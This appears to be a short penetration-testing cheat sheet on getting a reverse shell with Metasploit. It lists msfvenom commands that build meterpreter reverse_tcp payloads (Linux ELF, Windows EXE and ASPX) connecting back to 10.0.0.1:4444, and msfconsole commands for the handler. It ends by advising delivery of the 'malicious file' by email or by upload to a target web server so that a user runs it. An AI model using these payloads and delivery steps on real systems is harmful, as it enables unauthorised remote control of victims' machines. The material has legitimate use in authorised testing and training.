icon

Reverse Shell with Metasploit

Last modified: 2024-08-28

We can create a reverse shell payload using Msfvenom and listen for reverse connection with Msfconsole.

Generate Reverse Shell Payload

1. Create a Payload using MsfVenom

# Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf -o shell.elf
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf -o shell.elf

# Windows
msfvenom -p windows/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell.exe

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f aspx -o shell.aspx

2. Start Listener using MsfConsole

msfconsole
msf> use exploit/multi/handler

# Linux
msf> set payload linux/x86/meterpreter/reverse_tcp
# Windows
msf> set payload windows/meterpreter/reverse_tcp
# or
msf> set payload windows/x64/meterpreter/reverse_tcp

msf> set lhost 10.0.0.1
msf> set lport 4444
msf> run
meterpreter> shell

3. Send the Generated File to Target Machine

After that, we need to send the generated malicious file to target machine somehow such as below:

  • Send email with this file.
  • Upload this file to target web server.

Then a user in target machine executes this file, we may be able to get a shell of target system.